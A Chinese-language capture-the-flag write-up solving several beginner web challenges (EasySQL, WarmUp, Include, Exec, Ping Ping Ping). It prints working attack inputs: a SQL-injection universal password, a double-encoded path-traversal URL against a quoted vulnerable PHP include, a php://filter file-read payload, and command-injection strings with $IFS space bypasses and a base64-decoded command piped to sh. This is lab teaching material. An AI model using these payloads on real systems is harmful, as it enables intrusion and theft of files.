1.[极客大挑战 2019]EasySQL
看到这个页面,随便对用户名和密码输入一些东西
通过学习sql得知,sql分为两种类型的注入,数字型和字符型sql,输入1后拿到了wrong username password,输入1'后得到
从1''中得知,这是字符型注入,输入万能密码 username里面输入 1' or 1 = 1' password里面输入一样的东西,得到flag
2[极客大挑战 2019]Havefun
开局直接f12
在url中输入cat=dog,得到flag
3.[HCTF 2018]WarmUp
开局f12,然后在url中进入文件source.php
前置知识
目录,前置知识已经全部凑齐,接下来我们开始绝对能听懂的解答
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
分析第一部分,就是要让我们传入page参数,而且必须为字符串
if (in_array($page, $whitelist)) {
return true;
}
第二部分,判断page参数是不是souce.php或者hint.php
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
第三部分,截取page到?前的部分,判断截取后在不在whitelist里面
echo "you can't see it";
return false;
不能让这几个判断句一个都不执行
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
nclude 语句包含并运行指定文件。
以下文档也适用于 require 。必看
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。绝对路径与相对路径
所以在本题中include()函数包含文件时会按路径./../../../../ffffllllaaaagggg来寻找文件
另外关于路径,符号"."代表当前目录,“..”代表上一级的目录,"/"代表根目录,而./../../../../ffffllllaaaagggg则通过不断将路径跳转到上一个目录直到flag所在的PHP文件(该题中目标PHP文件恰好在根目录下,而根目录的上一层目录仍然是根目录)。
1.source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg
2.source.php?file=hint.php?/../../../../ffffllllaaaagggg
%253是因为url进入后已经会编码一次,所以双重编码
在这里有个非常重要的知识
php 默认相对路径都是以被访问页面所在路径为准的。无论一个入口页面,里面包含多少文件,相对路径,都是以这个页面为准
根据include函数的功能,以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件--注意是最后一个/。可以发现若输入source.php?/../../../../ffffllllaaaagggg时,source.php?这个文件是找不到的,那么就会将第一个../前的代码忽略,那么就会包含../../../../ffffllllaaaagggg
(本地测试没有成功,可能是配置的问题,还未解决)
这里最后一个/的解释为:
例子:
flag.php?/xx/../../../1.txt,包含时,因为flag.php?/xx这个文件找不到那就会包含../../../1.txt,但此时的目录已经是原来的目录的子目录了。
flag.php?/xx/xx/../../../1.txt,包含时,因为flag.php?/xx/xx这个文件找不到那就会包含../../../1.txt,但此时的目录已经是原来的目录的子目录的子目录了。以此类推
摘抄自-博主monica
3.[ACTF2020 新生赛]Include
朴实无华的界面,先来一手f12
说明这个tip是个链接,会让url中输入file=flag.php,在这里懂了href本质上就是url中的输入,也可以输入地址如/flag。结合include,这里就直接用php伪协议,输入
php://filter/read=convert.base64-encode/resource=flag.php
得到flag,base64解码就好了
4.[ACTF2020 新生赛]Exec
非常常规的,经典打开题目啥也不会,于是我们开始零基础学习这题。通过网上学习得知ping的知识ping的知识,然后我们要再学习一下命令执行漏洞是啥玩意命令执行漏洞,然后还要学习linux命令,ls命令,cat命令cat命令,然后我们差不多就可以做这道题了,首先先输入
1 | ls /
查看根目录
然后就直接输入cat /flag得到flag,也可以用tac,tac是cat的反向显示 ,cat 是由“第一行到最后一行连续显示在屏幕上”,而 tac 则是“ 由最后一行到第一行反向在屏幕上显示出来 ”
5.[GXYCTF2019]Ping Ping Ping
看到这个页面,啥也不会,随便输入了一下,发现是命令执行漏洞和绕过过滤的问题,绕过空格过滤有以下的方法
IFS
${IFS}
$IFS$1
<
<>
{cat,flag.php}
%20
%09
绕过flag过滤有以下的方法
/?ip=123;a=lag;cat$IFS$1f$a.php
/?ip=123;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
/?ip=123;cat$IFS$1`ls`//反单引号里面的内容会优先执行,然后把命令的输出作为输入执行。ls命令输出的结果是flag.php和index.php,因此就直接查看了这两个文件夹里的内容。
|将前面解码的输出作为sh的输入,然后执行。最后这道题比较坑的地方是flag在注释里面,是没有在正常回显的
也可以直接使用curl命令(真香)